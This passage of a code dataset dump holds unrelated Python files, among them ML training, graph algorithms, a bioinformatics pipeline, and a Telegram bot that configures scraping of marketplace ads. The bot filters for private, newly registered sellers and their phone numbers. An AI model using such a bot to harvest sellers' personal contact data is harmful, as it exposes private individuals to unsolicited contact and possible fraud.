config.get_path('www.qwc_root', '/QGIS-Web-Client/site')\n\n for key in config.keys('www.alias'):\n aliases.append(config.get_list(key))\n\n extra_config = '\\n'.join(config.get(k) for k in config.keys('www.vhost_conf'))\n\n return util.render_template(\n config.get_path('www.vhost_template', 'gbd/core/vhost.conf.tpl'),\n locals())\n\n\ndef config_pretty_print(text):\n res = []\n indent = 0\n\n for s in text.strip().splitlines():\n s = s.strip()\n if not s or s.startswith('#'):\n continue\n if s.startswith(' \"\n\n response = openai.Completion.create(\n model=\"davinci:ft-uc-davis-2022-05-23-20-13-52\",\n prompt=prompt,\n max_tokens=64,\n top_p=1,\n frequency_penalty=0,\n presence_penalty=0\n )\n\n print(response.choices[0].text)\n","repo_name":"Andy-LZH/GPT-3-Coffee","sub_path":"src/test_open_ai.py","file_name":"test_open_ai.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21030706384","text":"\"\"\"\nEntry point for tree-lstm classifier\n\"\"\"\nimport logging\nimport sys\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Any, Dict, List\n\nimport click\nimport gin.torch.external_configurables\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom .cli.decorators import add_options\nfrom .cli.options import train_options\nfrom .dataset.loaders import PicklingTreeDataset, sample_nodes_from_trees\nfrom .device import get_torch_device\nfrom .evaluate import eval_on_test_set, predict_on_test_set\nfrom .models import elementclassifiers as classifiers\nfrom .structures import trees\nfrom .trainers import LoggingTrainer\nfrom .utilities import setup_logging\n\nlogger = logging.getLogger(__name__)\nsetup_logging()\n\n\n@gin.configurable\n@dataclass\nclass ExperimentParameters:\n \"\"\"\n Data class to encapsulate experiment parameters.\n \"\"\"\n\n run_name: str\n model_id: str\n tree_type: str\n n_train_data: int\n n_test_data: int\n n_features: int\n num_workers: int\n\n\n@gin.configurable\n@dataclass\nclass HyperParameters:\n \"\"\"\n Data class to encapsulate common hyper parameters.\n \"\"\"\n\n batch_size: int\n n_positive_samples: int\n n_negative_samples: int\n latent_dimension: int\n n_epochs: int\n train_test_split_ratio: float\n optimizer: str\n optimizer_parameters: Dict\n loss_function: Any\n\n\n@gin.configurable(allowlist=[\"hyper_parameters\", \"experiment_parameters\"])\ndef run(\n dataset: str,\n optimizer_folder: str,\n experiment_parameters: ExperimentParameters,\n hyper_parameters: HyperParameters,\n no_cache=False,\n):\n \"\"\"\n Start a training run.\n\n :param dataset: Path to dataset.\n :param optimizer_folder: Path to folder containing an optimizer.\n :param experiment_parameters: ExperimentParameters object containing parameters to run experiment with.\n :param hyper_parameters: HyperParameters object containing parameters to run experiment with.\n :param no_cache: If set to true, the data tree cache will be cleared before starting training.\n :return:\n \"\"\"\n\n run_location = Path(\"runs\") / experiment_parameters.run_name\n run_location.mkdir(parents=True, exist_ok=True)\n\n device = get_torch_device() # pylint: disable=no-value-for-parameter\n\n model = None\n model_file = Path(experiment_parameters.model_id)\n if model_file.is_file():\n model = torch.load(model_file)\n else:\n try:\n classifier = getattr(classifiers, experiment_parameters.model_id)\n except AttributeError as e:\n raise AttributeError(f\"No model called {experiment_parameters.model_id} exists!\") from e\n try:\n tree_type_class = getattr(trees, experiment_parameters.tree_type)\n except AttributeError as e:\n raise AttributeError(f\"No tree called {experiment_parameters.tree_type} exists!\") from e\n\n feature_length = experiment_parameters.n_features\n n_labels = len(classifier.ALL_LABELS)\n if not model:\n model = classifier(feature_length, n_labels, hyper_parameters.latent_dimension)\n model.to(device=device)\n model.initialize()\n\n try:\n collate_fn = model.collate_fn()\n except AttributeError:\n collate_fn = sample_nodes_from_trees(hyper_parameters.n_positive_samples, hyper_parameters.n_negative_samples)\n\n train_set, validation_set = PicklingTreeDataset(\n location=dataset + \"/train\",\n cache_location=\"dataset_cache/train\",\n n_data=experiment_parameters.n_train_data,\n tree_type=tree_type_class,\n clean=no_cache,\n ).split(hyper_parameters.train_test_split_ratio)\n\n train_loader = DataLoader(\n train_set,\n batch_size=hyper_parameters.batch_size,\n shuffle=True,\n collate_fn=collate_fn,\n num_workers=experiment_parameters.num_workers,\n )\n\n validation_loader = DataLoader(\n validation_set,\n batch_size=hyper_parameters.batch_size,\n collate_fn=collate_fn,\n num_workers=experiment_parameters.num_workers,\n )\n\n test_set = PicklingTreeDataset(\n location=dataset + \"/test\",\n cache_location=\"dataset_cache/test\",\n n_data=experiment_parameters.n_test_data,\n tree_type=tree_type_class,\n clean=no_cache,\n )\n\n test_loader = DataLoader(\n test_set,\n batch_size=hyper_parameters.batch_size,\n collate_fn=collate_fn,\n num_workers=experiment_parameters.num_workers,\n )\n\n optimizer_file = Path(optimizer_folder) / \"optimizer.pt\"\n if optimizer_file.is_file():\n optimizer = torch.load(optimizer_file)\n else:\n try:\n opt = getattr(torch.optim, hyper_parameters.optimizer)\n optimizer = opt(model.parameters(), **hyper_parameters.optimizer_parameters)\n except AttributeError as e:\n raise AttributeError(f\"No optimizer called {hyper_parameters.optimizer} exists!\") from e\n\n loss_fn = hyper_parameters.loss_function\n\n trainer = LoggingTrainer(model, optimizer, loss_fn, run_location)\n\n with open(run_location / \"simulation_data.txt\", \"w\") as fhandle:\n fhandle.write(\n f\"\"\"\nFull command: {\" \".join(sys.argv)}\nDataset location: {train_set.location}\n N samples (train): {len(train_set.snapshots)}\n N samples (validation): {validation_loader and len(validation_set.snapshots)}\n N samples (test): {len(test_set.snapshots)}\n N features: {feature_length}\n N labels: {n_labels}\nModel: {model}\nOptimizer: {optimizer}\nTrainer: {str(trainer)}\nLoss: {loss_fn}\"\"\"\n )\n\n trainer.train(train_loader, hyper_parameters.n_epochs, validation_loader)\n\n with open(run_location / \"timing_data.txt\", \"w\") as fhandle:\n fhandle.write(\n f\"\"\"Training wallclock time:\n Forward: {trainer.timing[\"forward\"]}\n Backward: {trainer.timing[\"backward\"]}\n Validation: {trainer.timing[\"validation\"]}\"\"\"\n )\n\n with open(run_location / \"classification_report.txt\", \"w\") as fhandle:\n fhandle.write(eval_on_test_set(model, test_loader))\n\n prediction_report, distance_report = predict_on_test_set(model, test_set, [1, 3, 5])\n\n with open(run_location / \"prediction_report.txt\", \"w\") as fhandle:\n fhandle.write(str(prediction_report))\n\n with open(run_location / \"distance_report.txt\", \"w\") as fhandle:\n fhandle.write(str(distance_report))\n\n\n@add_options(train_options)\n@click.command()\ndef main(\n dataset: str,\n optimizer_folder: str,\n gin_config_path: List[str],\n no_cache: bool,\n):\n\n gin.parse_config_file(\"gin_configs/config.gin\")\n for _conf in gin_config_path:\n logger.info(f\"Loading {_conf} config file; any existing parameter will be overwritten!\")\n gin.parse_config_file(_conf)\n\n run(dataset, optimizer_folder, no_cache=no_cache) # pylint: disable=no-value-for-parameter\n\n\nif __name__ == \"__main__\":\n main() # pylint: disable=no-value-for-parameter\n","repo_name":"Misterion777/gnn-web-embeddings","sub_path":"demo/tlc/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"10926294269","text":"from collections import defaultdict\r\nimport heapq\r\n\r\n\r\nclass PrimKruskal(object):\r\n\r\n def prim(self, grafo, inicio):\r\n mst = defaultdict(set)\r\n visitados = [(inicio)]\r\n arista = [\r\n (costo, inicio, destino) for destino, costo in grafo[inicio].items()\r\n ]\r\n heapq.heapify(arista)\r\n\r\n while arista:\r\n costo, desde, destino = heapq.heappop(arista)\r\n\r\n if destino not in visitados:\r\n visitados.append(destino)\r\n mst[desde].add(destino)\r\n for adyacente, costo in grafo[destino].items():\r\n if adyacente not in visitados:\r\n heapq.heappush(arista, (costo, destino, adyacente))\r\n\r\n return mst\r\n\r\n def kruskal(self, grafo=dict()):\r\n mst = defaultdict(set)\r\n visitados = []\r\n aristas = []\r\n\r\n for origen, adyacentes in grafo.items():\r\n for destino, peso in adyacentes.items():\r\n aristas.append((peso, origen, destino))\r\n\r\n heapq.heapify(aristas)\r\n\r\n while aristas:\r\n peso, origen, destino = heapq.heappop(aristas)\r\n\r\n if destino not in visitados:\r\n visitados.append(destino)\r\n mst[origen].add(destino)\r\n\r\n return dict(mst)\r\n","repo_name":"MrOlivo/data-structures-python","sub_path":"arboles/prim_kruskal.py","file_name":"prim_kruskal.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35614022135","text":"from joblib import Parallel, delayed\nimport sys\nimport os\nimport time\n\nimport pybedtools\n\nfrom mammoth.logger import initialize_logger\nfrom mammoth.parse import parse_cl\nimport mammoth.logger as mylog\nfrom mammoth import ensembl\nfrom mammoth.blast import blast_genes, _read_json\n\ndef _get_strand(out, t):\n fn = os.path.join(out, \"%s.input.blastn\" % t)\n algn = _read_json(open(fn).read())\n res = dict()\n for a in algn:\n r = a['BlastOutput2']\n if 'report' in r:\n hits = r['report']['results']['search']['hits']\n name = r['report']['results']['search']['query_title']\n for h in hits:\n chrom = h['description'][0]['id']\n if name in res:\n break\n if chrom.find(\"Un\") < 0:\n strand = h['hsps'][0]['hit_strand']\n res[name] = \"+\" if strand==\"Plus\" else \"-\"\n return res\n\ndef _get_mammoth_genomic(chrom, pos_hit, strand, hit_seq, m, genome):\n pos = pos_hit + m - 1 if strand==\"+\" else pos_hit - m\n # print [pos_hit, len(hit_seq), m, pos, strand]\n return _get_sequence(chrom, pos, strand, genome)\n\ndef _get_sequence(chrom, pos, strand, genome):\n a = pybedtools.BedTool(\"{0}\\t{1}\\t{2}\\t.\\t.\\t{3}\".format(chrom, pos-150, pos+150, strand), from_string=True)\n fasta = pybedtools.example_filename(genome)\n a = a.sequence(fi=fasta,s=True)\n seq = open(a.seqfn).read().split(\"\\n\")\n pre = seq[1][:150]\n nt = seq[1][150]\n post = seq[1][151:]\n # print [pre, nt, post]\n return [chrom , str(pos), \"%s-%s-%s\" % (pre, nt, post)]\n\ndef _get_genomic(m, start, end, strand):\n if strand==\"-\":\n return end - m - 1\n else:\n return start + m - 1\n\ndef _get_genomic_sequence(exons, pos, genome):\n return _get_sequence(exons['chrom'], pos, exons['strand'], genome)\n\ndef _format(info, exons, flank_m, genome):\n genomic_pos = _get_genomic(info[3]['mism_pos'], exons['start'], exons['end'], exons['strand'])\n flank = _get_genomic_sequence(exons, genomic_pos, genome)\n changes = \"%d %s %s %d %s %s\" % (info[3]['tx_pos'], info[3]['ref_nc'], info[3]['new_nc'],\n info[3]['aa_pos'], info[3]['ref_aa'], info[3]['new_aa'])\n missing = \",\".join([\"%s:%s\" % (e, info[4]['missing'][e]) for e in info[4]['missing']])\n qc = \"%s/%s %s %s\" % (info[4]['mapped'], info[4]['annotated'], info[4]['gap'], missing)\n # print flank\n return \"%s %s %s %s %s %s %s %s %s %s\" % (info[0], info[1], info[2], info[5], changes, exons['chrom'], genomic_pos, qc, flank[2], \" \".join(flank_m))\n\ndef _chunk(l, n):\n i = 0\n idx = []\n jump = int(1.0 * l / n)\n while len(idx) < n:\n idx.append([i, i + jump])\n i += jump\n idx[-1][1] = l\n return idx\n\ndef _join(matches):\n out = dict()\n for i in matches:\n for g in i:\n out.update({g: i[g]})\n return out\n\ndef _get_cache(fn):\n cache = {}\n with open(fn) as inh:\n for line in inh:\n line = line.strip()\n cols = line.split()\n idx = \"%s%s%s%s\" % (cols[0], cols[1], cols[2], cols[4])\n cache[idx] = line\n return cache\n\ndef run_smartly(genes, args):\n logger.info(\"Runnning %s genes\" % len(genes.keys()))\n if args.n == 1:\n matches = blast_genes(genes, args.db, args.out)\n return matches\n idx = _chunk(len(genes.keys()) , args.n)\n list_genes = []\n last = 0\n for i in idx:\n out = dict()\n [out.update({k: genes[k]}) for k in genes.keys()[i[0]:i[1]]]\n list_genes.append(out)\n logger.info(\"Running %s genes in %s chunks\" % (len(genes.keys()), len(list_genes)))\n matches = Parallel(args.n)(delayed(blast_genes)(out, args.db, args.out) for out in list_genes)\n return _join(matches)\n\ndef run(args):\n \"\"\"Proxy for the pipeline\"\"\"\n genes, exons = ensembl.get_genes(args.gtf)\n matches = run_smartly(genes, args)\n out_file = os.path.join(args.out, \"changes.tsv\")\n cache = {}\n if os.path.exists(out_file):\n cache = _get_cache(out_file)\n with open(out_file, 'w') as outh:\n print >>outh, \" \".join([\"gene\", \"tx\", \"exon\", \"number\", \"tx_pos\", \"ref_nc\", \"ref_new\",\n \"aa_pos\", \"ref_aa\", \"new_aa\", \"chrom\", \"genome_pos\", \"mapped/annotated\",\n \"found_gap\", \"missing_exons\", \"flank_african\", \"chr_mammoth\", \"pos_mammoth\",\"flank_mammoth\"])\n for m in matches:\n for t in matches[m]:\n if not matches[m][t]['changes']:\n continue\n strand = _get_strand(args.out, t)\n ratio = matches[m][t]['changes']['mapped_exons']\n for e in matches[m][t]['changes']:\n if \"changes\" in matches[m][t]['changes'][e]:\n for p in matches[m][t]['changes'][e]['changes']['positions']:\n idx = \"%s%s%s%s\" % (m, t, e, p)\n if idx in cache:\n print >>outh, cache[idx]\n continue\n info = matches[m][t]['changes'][e]['changes']['positions'][p]\n en = matches[m][t]['changes'][e]['exon_number']\n # print matches[m][t]['changes'][e]['changes']['positions'][p]\n flank_m = _get_mammoth_genomic(matches[m][t]['changes'][e]['chr'],\n matches[m][t]['changes'][e]['pos'],\n strand[e], matches[m][t]['changes'][e]['hseq'],\n info['mism_pos'], args.fasta)\n print >>outh, _format([m, t, e, info, ratio, en], exons[e], flank_m, args.fasta_ref)\n\nif __name__ == \"__main__\":\n kwargs = parse_cl(sys.argv[1:])\n initialize_logger(kwargs['args'].out, kwargs['args'].debug, kwargs['args'].print_debug)\n logger = mylog.getLogger()\n start = time.time()\n if \"annotate\" in kwargs:\n logger.info(\"Run annotation\")\n run(kwargs[\"args\"])\n logger.info('It took %.3f minutes' % ((time.time()-start)/60))\n\n\n","repo_name":"hbc/mammoth_code","sub_path":"scripts/mammoth-run.py","file_name":"mammoth-run.py","file_ext":"py","file_size_in_byte":6214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43958065822","text":"from flask import jsonify, session\nfrom . import ErrorData, api, db, Subscribe\nimport sys, json\nsys.path.append(\"..\")\nfrom app import r\n# 這邊待捕啦 做不完ㄏ\n@api.route('/notification', methods=[\"GET\"])\ndef get_notification():\n if 'user' in session:\n user_id = session['user']['id']\n note_lst = []\n notes = r.hvals(f'user_{user_id}_note')\n for note in notes:\n note_lst.append(json.loads(note))\n note_lst = sorted(note_lst, key= lambda n:n['time'])\n data = {\"data\": note_lst}\n return jsonify(data), 200\n\n return jsonify(ErrorData.no_sign_data), 403\n\n# 獲取使用者追蹤(訂閱)的頻道\n@api.route('/my/sub', methods=['GET'])\ndef get_my_sub():\n try:\n if 'user' in session:\n user_id = session['user']['id']\n subs = Subscribe.query.filter_by(user_id=user_id).all()\n sub_lst = []\n for sub in subs:\n sub_lst.append(sub.channel_id)\n data = {\n 'data': sub_lst\n }\n return jsonify(data), 200\n return jsonify(ErrorData.no_sign_data), 403\n except:\n return jsonify(ErrorData.server_error_data), 500","repo_name":"skysea04/Scard","sub_path":"api/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"14096319477","text":"class MySolution(object):\n def letterCombinations(self, digits):\n if not digits:\n return []\n hashmap = {\n \"2\": [\"a\", \"b\", \"c\"],\n \"3\": [\"d\", \"e\", \"f\"],\n \"4\": [\"g\", \"h\", \"i\"],\n \"5\": [\"j\", \"k\", \"l\"],\n \"6\": [\"m\", \"n\", \"o\"],\n \"7\": [\"p\", \"q\", \"r\", \"s\"],\n \"8\": [\"t\", \"u\", \"v\"],\n \"9\": [\"w\", \"x\", \"y\", \"z\"],\n }\n start = 0\n st = \"\"\n _, lst = self.backtrack(digits, hashmap, start, st)\n return list(set(lst))\n\n\n def backtrack(self, digits, hashmap, index, st):\n lst = []\n s = \"\"\n if index >= len(digits):\n return st, lst\n \n for value in hashmap[digits[index]]:\n s, x = self.backtrack(digits, hashmap, index + 1, st + value)\n lst.extend(x)\n lst.append(s)\n \n return s, lst\n \nclass OptimalSolution(object):\n def letterCombinations(self, digits):\n if not digits:\n return []\n hashmap = {\n \"2\": [\"a\", \"b\", \"c\"],\n \"3\": [\"d\", \"e\", \"f\"],\n \"4\": [\"g\", \"h\", \"i\"],\n \"5\": [\"j\", \"k\", \"l\"],\n \"6\": [\"m\", \"n\", \"o\"],\n \"7\": [\"p\", \"q\", \"r\", \"s\"],\n \"8\": [\"t\", \"u\", \"v\"],\n \"9\": [\"w\", \"x\", \"y\", \"z\"],\n }\n result = []\n self.backtrack(digits, hashmap, 0, \"\", result)\n return result\n\n def backtrack(self, digits, hashmap, index, combination, result):\n if index == len(digits):\n result.append(combination)\n return\n for letter in hashmap[digits[index]]:\n self.backtrack(digits, hashmap, index + 1, combination + letter, result)\n\n\n\ndigits = \"23\"\nmy_solution = MySolution()\nprint(my_solution.letterCombinations(digits))\n\ndigits = \"23\"\noptimal_solution = OptimalSolution()\nprint(optimal_solution.letterCombinations(digits))","repo_name":"dvc0310/Interview-prep-stuff","sub_path":"leetcode/phonecombo.py","file_name":"phonecombo.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30479274747","text":"n=int(input().strip())\nbucket={}\nfor _ in range(n):\n number=input().strip()\n length=len(number)\n if length not in bucket:\n bucket[length]=[]\n bucket[length].append(number)\nprint(bucket)\nprint(sorted(bucket))\nfor key in sorted(bucket):\n for value in sorted(bucket[key]):\n print(value)\n","repo_name":"rahuldileep/Python_Practice","sub_path":"DSA/Sorting Algorithms/Bucket Sort.py","file_name":"Bucket Sort.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45080664686","text":"import config.config as cf\r\nfrom aiogram import Bot, Dispatcher, executor, types\r\nfrom aiogram.types import ReplyKeyboardRemove, \\\r\n\tReplyKeyboardMarkup, KeyboardButton, \\\r\n\tInlineKeyboardMarkup, InlineKeyboardButton\r\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\r\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\r\nfrom aiogram.dispatcher import FSMContext\r\nfrom aiogram.dispatcher.filters import Text\r\nfrom keyboards import *\r\n\r\n\r\nfrom create_bot import dp, bot\r\n# States\r\n# class Form(StatesGroup):\r\n# \tcountry = State()\r\n# \tlink = State()\r\n# \tadv_count = State()\r\n# \tseller_adv = State()\r\n# \tbusiness = State()\r\n# \tadv_reg_data = State()\r\n# \treg_seller_data = State()\r\n# \trepeated_number = State()\r\n\r\n\r\n\r\n\r\n# @dp.message_handler(state='*', commands='exit')\r\n# @dp.message_handler(Text(equals='exit', ignore_case=True), state='*')\r\nasync def cancel_handler(message: types.Message, state: FSMContext):\r\n\t\"\"\"\r\n\tAllow user to cancel any action\r\n\t\"\"\"\r\n\tcurrent_state = await state.get_state()\r\n\tif current_state is None:\r\n\t\treturn\r\n\r\n\tlogging.info('Cancelling state %r', current_state)\r\n\t# Cancel state and inform user about it\r\n\tawait state.finish()\r\n\t# And remove keyboard (just in case)\r\n\tusername = f'
    {message.from_user.first_name}'\r\n\tawait bot.send_message(message.chat.id, \"\"+username+\" , Вы вернулись в меню\", parse_mode=types.ParseMode.HTML, reply_markup=start_pars_kb,disable_web_page_preview=True)\r\n\r\n\r\n# Ссылка\r\n# @dp.message_handler(lambda message: message.text.isdigit(), state=Form.link)\r\nasync def process_link_invalid(message: types.Message):\r\n\treturn await bot.send_message(message.chat.id, \"❗️ Введите ссылку корректно.\", parse_mode=\"HTML\")\r\n\r\n# @dp.message_handler(state=Form.link)\r\nasync def process_link(message: types.Message, state: FSMContext):\r\n\tlink = message.text\r\n\tasync with state.proxy() as data:\r\n\t\tplatform = data['country']\r\n\tif platform in link:\r\n\t\tasync with state.proxy() as data:\t\r\n\t\t\tdata['link'] = link\r\n\t\tawait Form.next()\r\n\t\tawait bot.send_message(message.chat.id, \"📌 Введите кол-во товара:\\n\\nПример: 100\\n\\nЧтобы вернуться в меню введите /exit\", parse_mode=\"HTML\")\r\n\telse:\r\n\t\tawait process_link_invalid(message)\t\r\n\r\n\r\n# Количество объявлений\r\n# @dp.message_handler(lambda message: not message.text.isdigit(), state=Form.adv_count)\r\nasync def process_adv_count_invalid(message: types.Message):\r\n\treturn await bot.send_message(message.chat.id, \"❗️ Должно быть цифрой. Введите повторно.\", parse_mode=\"HTML\")\r\n\r\n# @dp.message_handler(lambda message: message.text.isdigit(), state=Form.adv_count)\r\nasync def process_adv_count(message: types.Message, state: FSMContext):\r\n\tawait Form.next()\r\n\tawait state.update_data(adv_count=int(message.text))\r\n\treturn await bot.send_message(message.chat.id, \"🔷 Введите число кол-ва объявлений продавца\\n\\nПример: 10 (парсер будет искать продавцов у которых кол-во объявлений не будет превышать 10)\\n\\nЧтобы отключить этот фильтр нажмите 'Нет'\\n\\nЧтобы вернуться в меню введите /exit\", parse_mode=types.ParseMode.HTML, reply_markup=seller_adv_kb, disable_web_page_preview=True)\r\n\r\n# Количество объявлений продавца\r\n# @dp.message_handler(lambda message: not message.text.isdigit() and message.text not in [\"Нет\", \"нет\"], state=Form.seller_adv)\r\nasync def process_seller_adv_invalid(message: types.Message):\r\n\treturn await bot.send_message(message.chat.id, \"❗️ Должно быть цифрой или 'Нет'. Введите повторно.\", parse_mode=\"HTML\")\r\n\r\n# @dp.message_handler(state=Form.seller_adv)\r\nasync def process_seller_adv(message: types.Message, state: FSMContext):\r\n\r\n\tasync with state.proxy() as data:\r\n\t\tdata['seller_adv'] = message.text\r\n\r\n\tawait Form.next()\r\n\tawait bot.send_message(message.chat.id, \"👨🏻‍💻 Убрать бизнес аккаунты?\\n\\nЕсли вы хотите включить этот фильтр нажмите 'Да'\\n\\nЕсли вы не хотите включать этот фильтр нажмите 'Нет'\\n\\nЧтобы вернуться в меню введите /exit\", parse_mode=types.ParseMode.HTML, reply_markup=business_kb, disable_web_page_preview=True)\r\n\r\n\r\n# Проверка бизнесс аккаунта\r\n# @dp.message_handler(lambda message: message.text.isdigit() or message.text not in [\"Нет\", \"нет\", \"Да\", \"да\"], state=Form.business)\r\nasync def process_business_invalid(message: types.Message):\r\n\treturn await bot.send_message(message.chat.id, \"❗️ Можно ввести только 'Да' или 'Нет'.\", parse_mode=\"HTML\")\r\n\r\n# @dp.message_handler(state=Form.business)\r\nasync def process_business(message: types.Message, state: FSMContext):\r\n\r\n\tasync with state.proxy() as data:\r\n\t\tdata['business'] = message.text\r\n\r\n\tawait Form.next()\r\n\t# await bot.send_message(message.chat.id, data['link']+data['seller_adv']+data['business'])\r\n\tawait bot.send_message(message.chat.id, \"🗓 Укажите дату создания объявления\\n\\n✅Пример: 01.01.2022 (парсер будет искать объявления, которые были созданы с 01.01.2022 по текущую дату)\\n\\nЧтобы отключить этот фильтр нажмите 'Нет'\\n\\nЧтобы вернуться в меню введите /exit\", parse_mode=types.ParseMode.HTML, reply_markup=seller_adv_kb, disable_web_page_preview=True)\r\n\r\n\r\n# Дата регистрации объявления\r\n# @dp.message_handler(lambda message: message.text.isdigit(), state=Form.adv_reg_data)\r\nasync def process_adv_reg_data_invalid(message: types.Message):\r\n\treturn await bot.send_message(message.chat.id, \"❗️ Дата должна быть строго формата 'ДД.ММ.ГГГГ' или 'Нет'\\n\\nВведите дату создания объявления повторно.\", parse_mode=\"HTML\")\r\n# @dp.message_handler(lambda message: message.text.isdigit(), state=Form.adv_reg_data)\r\nasync def process_adv_next_step(message: types.Message, state: FSMContext):\r\n\tasync with state.proxy() as data:\r\n\t\tdata['adv_reg_data'] = message.text\r\n\t\tawait Form.next()\r\n\t\tawait bot.send_message(message.chat.id, \"🗓 Укажите дату регистрации продавца\\n\\n✅Пример: 01.01.2022 (парсер будет искать продавцов, которые зарегистрировались с 01.01.2022 по текущую дату)\\n\\nЧтобы отключить этот фильтр нажмите 'Нет'\\n\\nЧтобы вернуться в меню введите /exit\", parse_mode=types.ParseMode.HTML, reply_markup=seller_adv_kb, disable_web_page_preview=True)\r\n\r\n# @dp.message_handler(state=Form.adv_reg_data)\r\nasync def process_adv_reg_data(message: types.Message, state: FSMContext):\r\n\ttry:\r\n\t\tif message.text in [\"Нет\", \"нет\", \"Да\", \"да\"]:\r\n\t\t\tawait process_adv_next_step(message, state)\r\n\t\telse:\r\n\t\t\tdatetime.strptime(message.text, '%d.%m.%Y')\r\n\t\t\tawait process_adv_next_step(message, state)\r\n\t\t\r\n\texcept Exception as e:\r\n\t\tprint(repr(e))\r\n\t\tawait process_adv_reg_data_invalid(message)\r\n\r\n# Дата регистрации продавца\r\n# @dp.message_handler(lambda message: message.text.isdigit(), state=Form.reg_seller_data)\r\nasync def process_seller_reg_data_invalid(message: types.Message):\r\n\treturn await bot.send_message(message.chat.id, \"❗️ Дата должна быть строго формата 'ДД.ММ.ГГГГ' или 'Нет'\\n\\nВведите дату создания объявления повторно.\", parse_mode=\"HTML\")\r\n\r\nasync def process_seller_next_step(message: types.Message, state: FSMContext):\r\n\tasync with state.proxy() as data:\r\n\t\tdata['reg_seller_data'] = message.text\r\n\t\tawait Form.next()\r\n\t\tawait bot.send_message(message.chat.id, \"🗓 Показывать объявления с повторяющимся номером?\\n\\nЕсли вы нажмете 'Да', то бот сможет парсить другие объявления продавца.\\n\\n Чтобы отключить этот фильтр нажмите 'Нет'\\n\\nЧтобы вернуться в меню введите /exit\", parse_mode=types.ParseMode.HTML, reply_markup=business_kb, disable_web_page_preview=True)\r\n\r\n# @dp.message_handler(state=Form.reg_seller_data)\r\nasync def process_seller_reg_data(message: types.Message, state: FSMContext):\r\n\ttry:\r\n\t\tif message.text in [\"Нет\", \"нет\", \"Да\", \"да\"]:\r\n\t\t\tawait process_seller_next_step(message, state)\r\n\t\telse:\r\n\t\t\tdatetime.strptime(message.text, '%d.%m.%Y')\r\n\t\t\tawait process_seller_next_step(message, state)\r\n\t\t\r\n\texcept Exception as e:\r\n\t\tprint(repr(e))\r\n\t\tawait process_seller_reg_data_invalid(message)\r\n\r\n# Проверка повторяющегося номера\r\n# @dp.message_handler(lambda message: message.text.isdigit() or message.text not in [\"Нет\", \"нет\", \"Да\", \"да\"], state=Form.repeated_number)\r\nasync def process_repeated_number_invalid(message: types.Message):\r\n\treturn await bot.send_message(message.chat.id, \"❗️ Можно ввести только 'Да' или 'Нет'.\", parse_mode=\"HTML\")\r\n\r\n# @dp.message_handler(state=Form.repeated_number)\r\nasync def process_repeated_number(message: types.Message, state: FSMContext):\r\n\r\n\tasync with state.proxy() as data:\r\n\t\tdata['repeated_number'] = message.text\r\n\r\n\tbusiness_kb = types.ReplyKeyboardRemove()\r\n\tawait bot.send_message(message.chat.id, f\"📤 Ваши параметры для парсинга: \\n\\nПлощадка: {data['country']}\\n\\nСсылка: {data['link']}\\n\\nКоличество товара: {data['adv_count']}\\n\\nКоличество объявлений продавца: {data['seller_adv']}\\n\\nБизнесс аккаунт: {data['business']}\\n\\nДата создания объявления: {data['adv_reg_data']}\\n\\nДата регистрации продавца: {data['reg_seller_data']}\\n\\nПовторять номера: {data['repeated_number']}\\n\\nЧтобы вернуться в меню введите /exit\", parse_mode=types.ParseMode.HTML, reply_markup=start_pa)\r\n\r\n\r\ndef register_handler_admin(dp : Dispatcher):\r\n\tdp.register_message_handler(cancel_handler, commands=['exit'], state=\"*\")\r\n\r\n\tdp.register_message_handler(process_link_invalid, state=Form.link)\r\n\tdp.register_message_handler(process_link, state=Form.link)\r\n\r\n\tdp.register_message_handler(process_adv_count_invalid, state=Form.adv_count)\r\n\tdp.register_message_handler(process_adv_count, state=Form.adv_count)\r\n\r\n\tdp.register_message_handler(process_seller_adv_invalid, state=Form.seller_adv)\r\n\tdp.register_message_handler(process_seller_adv, state=Form.seller_adv)\r\n\r\n\tdp.register_message_handler(process_business_invalid, state=Form.business)\r\n\tdp.register_message_handler(process_business, state=Form.business)\r\n\r\n\tdp.register_message_handler(process_adv_reg_data_invalid, state=Form.adv_reg_data)\r\n\tdp.register_message_handler(process_adv_next_step, state=Form.adv_reg_data)\r\n\tdp.register_message_handler(process_adv_reg_data, state=Form.adv_reg_data)\r\n\r\n\tdp.register_message_handler(process_seller_reg_data_invalid, state=Form.reg_seller_data)\r\n\tdp.register_message_handler(process_seller_next_step, state=Form.reg_seller_data)\r\n\tdp.register_message_handler(process_seller_reg_data, state=Form.reg_seller_data)\r\n\r\n\tdp.register_message_handler(process_repeated_number_invalid, state=Form.repeated_number)\r\n\tdp.register_message_handler(process_repeated_number, state=Form.repeated_number)\r\n","repo_name":"olegtititele/parser","sub_path":"handlers/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":12306,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37486256754","text":"#!/usr/bin/env python3\n#\n# facedancer-umass.py\n#\n# Creating a disk image under linux:\n#\n# # fallocate -l 100M disk.img\n# # fdisk disk.img\n# # losetup -f --show disk.img\n# # kpartx -a /dev/loopX\n# # mkfs.XXX /dev/mapper/loopXpY\n# # mount /dev/mapper/loopXpY /mnt/point\n# do stuff on /mnt/point\n# # umount /mnt/point\n# # kpartx -d /dev/loopX\n# # losetup -d /dev/loopX\n\nimport sys\nif len(sys.argv)==1:\n print(\"Usage: facedancer-umass.py disk.img\");\n sys.exit(1);\n\nfrom USBProxyApp import USBProxyApp\nfrom USBMassStorage import USBMassStorageDevice\n\nu = 